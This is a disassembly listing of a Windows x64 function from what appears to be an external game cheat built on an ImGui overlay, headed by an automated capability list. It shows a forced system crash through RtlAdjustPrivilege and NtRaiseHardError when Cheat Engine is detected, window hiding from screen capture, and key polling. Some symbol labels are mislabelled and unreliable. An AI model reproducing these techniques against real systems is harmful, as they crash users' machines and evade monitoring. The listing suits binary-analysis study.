Function at 0x140045de0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create http request
Create process on windows
Create thread
Delete file
Encode data using xor
Enumerate processes
Get system information on windows
Inject dll
Inject thread
Link many functions at runtime
Log keystrokes via polling
Read data from internet
Receive data
Terminate process
Terminate process by name

Disassembly:
push rbp
push r15
lea rbp, [rsp - 0x1118]
mov eax, 0x1218
call fcn.14011c010
sub rsp, rax
xor r15d, r15d
lea r8, [0x140045980]
mov qword [rsp + 0x28], r15
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x40]
lea edx, [r15 + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140045e62
mov rcx, qword [rbp - 0x40]
lea rax, [rbp - 0x48]
lea r9d, [r15 + 4]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x44]
lea edx, [r15 + 0x14]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rbp - 0x40]
test eax, eax
jne 0x140045e84
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
lea rdx, str.____Run_Program_As_Admin
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
add rsp, 0x1218
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rbp - 0x44], r15d
je 0x140045e62
xor edx, edx
mov qword [rsp + 0x1230], rbx
mov qword [rsp + 0x1240], rdi
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0xa20]
mov dword [rbp + 0xa20], 0x130
mov rcx, rax
mov rbx, rax
mov edi, r15d
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140045f04
nop
lea rdx, str.cheatengine_x86_64_SSE4_AVX2.exe
lea rcx, [rbp + 0xa4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140045efe
lea rdx, [rbp + 0xa20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140045ed0
jmp 0x140045f04
mov edi, dword [rbp + 0xa28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x140045f78
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.El_proceso_objetivo_se_ha_detectado._Cerrando_la_aplicaci
call fcn.14004d9e0
lea rdx, [0x14004dbb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r8d, r8d
mov byte [rsp + 0x60], r15b
lea r9, [rsp + 0x60]
mov dl, 1
lea ecx, [r8 + 0x13]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp - 0x48]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc0000420
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
xor eax, eax
jmp 0x14004be08
mov qword [rsp + 0x1238], rsi
lea rax, [0x14004c120]
mov qword [rsp + 0x1210], r12
mov edx, 0x7f00
mov qword [rsp + 0x1200], r14
xor ecx, ecx
movaps xmmword [rsp + 0x1180], xmm13
mov dword [rbp + 0x980], 0x50
mov dword [rbp + 0x984], 0x40
mov qword [rbp + 0x988], rax
mov qword [rbp + 0x990], r15
mov qword [rbp + 0x998], r15
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x9a0], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
lea r14, str.Example
mov qword [rbp + 0x9b0], r15
mov qword [rbp + 0x9a8], rax
mov edx, 0x7f00
lea rax, str.ImGui
mov qword [rbp + 0x9c0], r14
xor ecx, ecx
mov qword [rbp + 0x9b8], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x980]
mov qword [rbp + 0x9c8], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si edi, dword [0x14017210c]
mov r12d, 1
mov ecx, r12d
cvttss2si esi, dword [0x140172108]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x14017210c]
xor ecx, ecx
movss xmm13, dword [0x14015a2c8]
cdq
sub eax, edx
mulss xmm0, xmm13
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x140172108]
mov r9d, 0x80000000
mov qword [rsp + 0x58], r15
cdq
mov qword [rsp + 0x50], r15
sub eax, edx
mov rdx, qword [rbp + 0x9c0]
mov r8, r14
mov qword [rsp + 0x48], r15
xor ecx, ecx
mov qword [rsp + 0x40], r15
sar eax, 1
mov dword [rsp + 0x38], edi
mulss xmm0, xmm13
mov dword [rsp + 0x30], esi
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov dword [rsp + 0x28], ebx
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
lea rcx, str.user32.dll
mov qword [0x1401a44b0], rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140046152
lea rdx, str.SetWindowCompositionAttribute
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140046149
movdqa xmm0, xmmword [reloc.WS2_32.dll_closesocket]
lea rcx, [rbp + 0x88]
mov qword [rbp - 0x30], rcx
lea rdx, [rbp - 0x38]
mov rcx, rdi
mov dword [rbp - 0x38], reloc.WS2_32.dll_send
movdqu xmmword [rbp + 0x88], xmm0
mov dword [rbp - 0x28], reloc.WS2_32.dll_recv
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movdqa xmm0, xmmword [0x14015a480]
lea rdx, [rbp + 0xa00]
mov rcx, qword [0x1401a44b0]
movdqu xmmword [rbp + 0xa00], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x1401a44b0]
lea rdx, [0x1401a44c0]
xorps xmm0, xmm0
movups xmmword [0x1401a44c0], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x1401a44b0]
lea rcx, [rbp - 0x68]
mov qword [rbp + 0xd0], rax
xor r9d, r9d
lea rax, [0x1401da168]
mov qword [rbp + 0xb4], r15
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rax, [rbp - 0x48]
mov qword [rbp + 0xc8], 2
mov qword [rsp + 0x50], rax
mov edx, r12d
lea rax, [0x1401da160]
mov qword [rbp + 0xe0], 2
mov qword [rsp + 0x48], rax
lea rax, [0x1401da158]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x20], rcx
xor ecx, ecx
mov qword [rbp + 0xa0], r15
mov dword [rbp + 0xb0], Ordinal_32
mov dword [rbp + 0xa8], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0xac], r12d
mov dword [rbp + 0xc4], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0xbc], r12
mov qword [rbp + 0xd8], r12
mov dword [rbp - 0x68], 0xb000
mov dword [rbp - 0x64], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
je 0x14004628f
call fcn.14004c0a0
mov rdx, qword [rbp + 0x998]
mov rcx, qword [rbp + 0x9c0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r12d
jmp 0x14004bde7
mov rcx, qword [0x1401da158]
lea r9, [rbp - 8]
lea r8, [0x140158708]
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [0x1401da160]
lea r9, [0x1401da150]
mov rdx, qword [rbp - 8]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp - 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x1401a44b0]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1401a44b0]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x1401a4480]
test rbx, rbx
je 0x1400462ff
inc dword [rbx + 0xf4]
mov ecx, 0x5e30
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x14004631b
xor edx, edx
mov rcx, rax
call fcn.140001a80
jmp 0x14004631e
mov rax, r15
mov qword [0x1401a4480], rax
call fcn.140005fe0
test rbx, rbx
je 0x140046338
mov qword [0x1401a4480], rbx
jmp 0x14004633f
mov rbx, qword [0x1401a4480]
test rbx, rbx
jne 0x140046365
mov r8d, 0xfff
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1401a4480]
lea rcx, [0x1401c5690]
call fcn.1400c5750
cmp byte [0x1401c58a0], r15b
jne 0x1400463ab
lea rcx, [0x1401c58a8]
call fcn.140038f40
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rsi, qword [rbx + 0x58]
xor eax, eax
mov qword [rsp + 0x1208], r13
movaps xmmword [rsp + 0x11f0], xmm6
xorps xmm6, xmm6
movaps xmmword [rsp + 0x11e0], xmm7
movaps xmmword [rsp + 0x11d0], xmm8
movaps xmmword [rsp + 0x11c0], xmm9
movaps xmmword [rsp + 0x11b0], xmm10
movaps xmmword [rsp + 0x11a0], xmm11
movaps xmmword [rsp + 0x1190], xmm12
movups xmmword [rbp + 0xb0], xmm6
mov qword [rbp + 0x120], rax
mov eax, 0xffff
movups xmmword [rbp + 0xe0], xmm6
mov dword [rbp + 0xb8], 3
movups xmmword [rbp + 0xf0], xmm6
mov dword [rbp + 0xbc], r12d
movaps xmmword [rsp + 0x1170], xmm14
movaps xmmword [rsp + 0x1160], xmm15
movss xmm15, dword [0x14015a2fc]
movups xmmword [rbp + 0xa0], xmm6
mov byte [rbp + 0xac], r12b
mov dword [rbp + 0xe4], 0x7f7fffff
mov dword [rbp + 0xf0], 0x3f800000
mov word [rbp + 0xf4], ax
mov dword [rbp + 0xec], 0x10c
cmp byte [rsi + 0x18], r15b
je 0x140046499
mov r8d, 0xb5f
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm7, xmmword [rbp + 0xa0]
movups xmm8, xmmword [rbp + 0xb0]
movq rdi, xmm7
movups xmm9, xmmword [rbp + 0xe0]
movups xmm10, xmmword [rbp + 0xf0]
movsd xmm11, qword [rbp + 0x120]
movups xmmword [rbp + 0x410], xmm7
movups xmmword [rbp + 0x420], xmm8
movups xmmword [rbp + 0x430], xmm6
movups xmmword [rbp + 0x440], xmm6
movups xmmword [rbp + 0x450], xmm9
movups xmmword [rbp + 0x460], xmm10
movups xmmword [rbp + 0x470], xmm6
movups xmmword [rbp + 0x480], xmm6
movsd qword [rbp + 0x490], xmm11
test rdi, rdi
je 0x140046529
mov r8d, 0xb61
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x14017be40]
mov dword [rbp + 0x418], 0x26368
lea r14, [0x140154560]
mov qword [rbp + 0x410], rax
lea rdx, [rbp + 0x410]
mov qword [rbp + 0x448], r14
mov rcx, rsi
mov dword [rbp + 0x424], 0x41b80000
call fcn.1400266b0
mov rsi, qword [rbx + 0x58]
cmp byte [rsi + 0x18], r15b
je 0x14004658c
mov r8d, 0xb5f
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmmword [rbp + 0x410], xmm7
movups xmmword [rbp + 0x420], xmm8
movups xmmword [rbp + 0x430], xmm6
movups xmmword [rbp + 0x440], xmm6
movups xmmword [rbp + 0x450], xmm9
movups xmmword [rbp + 0x460], xmm10
movups xmmword [rbp + 0x470], xmm6
movups xmmword [rbp + 0x480], xmm6
movsd qword [rbp + 0x490], xmm11
test rdi, rdi
je 0x1400465ef
mov r8d, 0xb61
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x140172110]
mov dword [rbp + 0x418], 0x9268
lea rdx, [rbp + 0x410]
mov qword [rbp + 0x410], rax
mov rcx, rsi
mov dword [rbp + 0x424], 0x42340000
mov qword [rbp + 0x448], r14
call fcn.1400266b0
mov rbx, qword [rbx + 0x58]
mov qword [0x1401a44f0], rax
cmp byte [rbx + 0x18], r15b
je 0x140046652
mov r8d, 0xb5f
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmmword [rbp + 0x410], xmm7
movups xmmword [rbp + 0x420], xmm8
movups xmmword [rbp + 0x430], xmm6
movups xmmword [rbp + 0x440], xmm6
movups xmmword [rbp + 0x450], xmm9
movups xmmword [rbp + 0x460], xmm10
movups xmmword [rbp + 0x470], xmm6
movups xmmword [rbp + 0x480], xmm6
movsd qword [rbp + 0x490], xmm11
test rdi, rdi
je 0x1400466b5
mov r8d, 0xb61
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x14017b380]
mov dword [rbp + 0x418], 0xab8
lea rdx, [rbp + 0x410]
mov qword [rbp + 0x410], rax
mov rcx, rbx
mov dword [rbp + 0x424], 0x420c0000
mov qword [rbp + 0x448], r14
call fcn.1400266b0
mov rbx, qword [0x1401a4480]
mov rsi, qword [0x1401a44b0]
mov qword [0x1401a4508], rax
test rbx, rbx
jne 0x140046728
mov r8d, 0xfff
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1401a4480]
cmp qword [rbx + 0x98], r15
je 0x14004674b
mov r8d, 0x76
lea rdx, str.C:UsersAdministratorDesktopKirbaw_External_backendsimgui_impl_win32.cpp
lea rcx, str.io.BackendPlatformUserData__nullptr___Already_initialized_a_platform_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x1400468aa
lea rcx, [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x1400468aa
mov rax, qword [0x1401a4480]
test rax, rax
je 0x140046781
inc dword [rax + 0xf4]
mov ecx, 0x48
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x1400467ae
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
mov qword [rdi + 0x40], rax
jmp 0x1400467b1
mov rdi, r15
or dword [rbx + 0xc], 6
lea rax, str.imgui_impl_win32
mov qword [rbx + 0x88], rax
mov qword [rbx + 0x98], rdi
mov rbx, qword [0x1401a4480]
mov qword [rdi], rsi
mov rax, qword [rbp + 0x20]
mov qword [rdi + 0x20], rax
mov rax, qword [rbp + 0x18]
mov qword [rdi + 0x18], rax
mov dword [rdi + 0x28], 9
cmp dword [rbx + 0x48c0], r15d
jg 0x14004680e
mov r8d, 0x705
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48c8]
mov rbx, r15
mov rcx, qword [rax]
lea rax, str.xinput1_4.dll
mov qword [rbp + 0x60], rax
lea rax, str.xinput1_3.dll
mov qword [rbp + 0x68], rax
lea rax, str.xinput9_1_0.dll
mov qword [rbp + 0x70], rax
lea rax, str.xinput1_2.dll
mov qword [rbp + 0x78], rax
lea rax, str.xinput1_1.dll
mov qword [rcx + 0x28], rsi
mov qword [rbp + 0x80], rax
mov byte [rdi + 0x2d], r12b
nop dword [rax]
mov rcx, qword [rbp + rbx*8 + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x14004687e
inc rbx
cmp rbx, 5
jl 0x140046860
jmp 0x1400468aa
lea rdx, str.XInputGetCapabilities
mov qword [rdi + 0x30], rsi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.XInputGetState
mov rcx, rsi
mov qword [rdi + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x40], rax
mov rax, qword [0x1401a4480]
mov r14, qword [0x1401da168]
mov rsi, qword [0x1401da160]
test rax, rax
jne 0x1400468e5
mov r8d, 0xfff
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401a4480]
lea rdi, [rax + 8]
cmp qword [rdi + 0x98], r15
je 0x140046913
mov r8d, 0x221
lea rdx, str.C:UsersAdministratorDesktopKirbaw_External_backendsimgui_impl_dx11.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401a4480]
test rax, rax
je 0x14004691e
inc dword [rax + 0xf4]
mov ecx, 0x78
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x14004695f
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov dword [rax + 0x70], 0x1388
mov dword [rax + 0x74], 0x2710
jmp 0x140046962
mov rbx, r15
or dword [rdi + 4], 8
lea rax, str.imgui_impl_dx11
mov qword [rdi + 0x88], rax
lea r8, [rbp + 0x58]
mov qword [rdi + 0x98], rbx
lea rdx, [0x140155fc0]
mov rax, qword [rsi]
mov rcx, rsi
mov qword [rbp + 0x58], r15
mov qword [rbp - 8], r15
mov qword [rbp + 0x3a8], r15
call qword [rax]
test eax, eax
jne 0x1400469e8
mov rcx, qword [rbp + 0x58]
lea r8, [rbp - 8]
lea rdx, [0x140155fd0]
mov rax, qword [rcx]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x1400469e8
mov rcx, qword [rbp - 8]
lea r8, [rbp + 0x3a8]
lea rdx, [0x140155fe0]
mov rax, qword [rcx]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x1400469e8
mov qword [rbx], rsi
mov qword [rbx + 8], r14
mov rax, qword [rbp + 0x3a8]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp + 0x58]
test rcx, rcx
je 0x1400469f7
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x140046a06
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
cvttss2si edi, dword [0x140172108]
mov dword [0x1401da170], r15d
mov ebx, r15d
mov qword [0x1401da174], 0x3ba3d70a
cvttss2si esi, dword [0x14017210c]
movss xmm9, dword [0x14015a354]
xorps xmm12, xmm12
movss xmm14, dword [0x14015a380]
movss xmm7, dword [0x14015a428]
movss xmm10, dword [0x14015a3b0]
movsd xmm11, qword [0x14015a318]
movd xmm8, edi
cvtdq2ps xmm8, xmm8
subss xmm8, xmm12
nop dword [rax]
mov dword [rbp + 0xc0], 0x40a00000
mov dword [rbp + 0xc4], 0x41a00000
mov qword [rbp + 0xd0], r15
mov dword [rbp + 0xc8], edi
mov dword [rbp + 0xcc], esi
mov dword [rbp + 0xbc], 0x323300ff
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movd xmm6, eax
cvtdq2ps xmm6, xmm6
divss xmm6, xmm7
mulss xmm6, xmm10
subss xmm6, dword [0x14015a3b4]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movss dword [rbp + 0xdc], xmm6
xorps xmm6, xmm6
movss dword [rbp + 0xe0], xmm12
movups xmmword [rbp + 0xa0], xmm6
mov qword [rbp + 0xb0], r15
movd xmm0, eax
cvtdq2ps xmm0, xmm0
divss xmm0, xmm7
mulss xmm0, xmm8
addss xmm0, xmm12
movss dword [rbp + 0xd8], xmm0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movaps xmm1, xmm11
movd xmm0, eax
cvtdq2ps xmm0, xmm0
divss xmm0, xmm7
addss xmm0, xmm12
cvtps2pd xmm0, xmm0
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
xorps xmm1, xmm1
cvtsd2ss xmm1, xmm0
mulss xmm1, xmm14
minss xmm1, xmm14
comiss xmm1, xmm9
jbe 0x140046b57
movss dword [rbp + 0xb8], xmm1
jmp 0x140046b61
mov dword [rbp + 0xb8], 0x40a00000
mov rdx, qword [0x1401c5680]
cmp rdx, qword [0x1401c5688]
je 0x140046ba5
movups xmm0, xmmword [rbp + 0xb0]
movups xmm1, xmmword [rbp + 0xc0]
movups xmmword [rdx], xmm6
movups xmmword [rdx + 0x10], xmm0
movups xmm0, xmmword [rbp + 0xd0]
movups xmmword [rdx + 0x20], xmm1
movups xmmword [rdx + 0x30], xmm0
movss dword [rdx + 0x40], xmm12
add qword [0x1401c5680], 0x44
jmp 0x140046bb1
lea r8, [rbp + 0xa0]
call fcn.14004ff90
inc ebx
cmp ebx, 0x14
jb 0x140046a80
movss xmm11, dword [0x14015a378]
xor r12b, r12b
movss xmm10, dword [0x14015a44c]
mov esi, 1
movss xmm9, dword [0x14015a3d0]
mov r14d, dword [reloc.WS2_32.dll_accept]
call qword [sym.imp.USER32.dll_GetActiveWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
call qword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
jne 0x14004c020
lea ecx, [rax + 0x30]
mov qword [rbp + 0x9e8], r15
call fcn.14011b630
movups xmm0, xmmword [str.Cheat_Engine.exe]
xor edx, edx
mov qword [rbp + 0x9e0], rax
mov r13, rax
mov qword [rbp + 0x9f0], reloc.WS2_32.dll_recv
movups xmmword [rax], xmm0
mov qword [rbp + 0x9f8], reloc.WS2_32.dll_socket
movups xmm1, xmmword [0x140158de8]
lea ecx, [rdx + 2]
movups xmmword [rax + 0x10], xmm1
mov word [rax + 0x20], r15w
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0xe20]
mov dword [rbp + 0xe20], 0x238
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140046cc0
nop dword [rax + rax]
lea rcx, [rbp + 0xe4c]
mov r8, r13
sub r8, rcx
nop dword [rax]
movzx edx, word [rcx]
movzx eax, word [rcx + r8]
sub edx, eax
jne 0x140046ca4
add rcx, 2
test eax, eax
jne 0x140046c90
mov rcx, rbx
test edx, edx
je 0x14004bd1b
lea rdx, [rbp + 0xe20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140046c80
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
lea rcx, [rbp + 0xa0]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140046d3f
nop word [rax + rax]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0xa8], 0x12
lea rcx, [rbp + 0xa0]
movzx r12d, r12b
cmove r12d, esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140046cf0
test r12b, r12b
jne 0x14004be23
mov ecx, dword [0x1401a44b8]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140046dd4
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
mov edx, reloc.WS2_32.dll_recvfrom
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor ecx, ecx
mov qword [rbp + 0x10], r15
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp + 0x10]
mov r8d, esi
lea r9, [0x140120120]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, [0x140120130]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140046dbd
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x28]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp + 0x10]
mov rdx, rax
call rbx
mov rcx, qword [rbp + 0x10]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [0x1401a4500]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140046e51
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor ecx, ecx
mov qword [rbp - 0x40], r15
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp - 0x40]
mov r8d, esi
lea r9, [0x140120120]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, [0x140120130]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140046e4b
mov rax, qword [rbp - 0x40]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x20]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp - 0x40]
mov rdx, rax
call rbx
mov rcx, qword [rbp - 0x40]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rbx, qword [0x1401a4480]
test rbx, rbx
je 0x140046e6b
mov rbx, qword [rbx + 0xa0]
test rbx, rbx
jne 0x140046e88
jmp 0x140046e6e
mov rbx, r15
mov r8d, 0x250
lea rdx, str.C:UsersAdministratorDesktopKirbaw_External_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp qword [rbx + 0x48], 0
jne 0x140046e94
call fcn.14003a100
call fcn.14003b2b0
call fcn.1400087a0
mov rdi, qword [0x1401a44a0]
test rdi, rdi
je 0x140046ff0
mov rcx, qword [0x1401a4480]
test rcx, rcx
jne 0x140046ee2
mov r8d, 0xfff
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
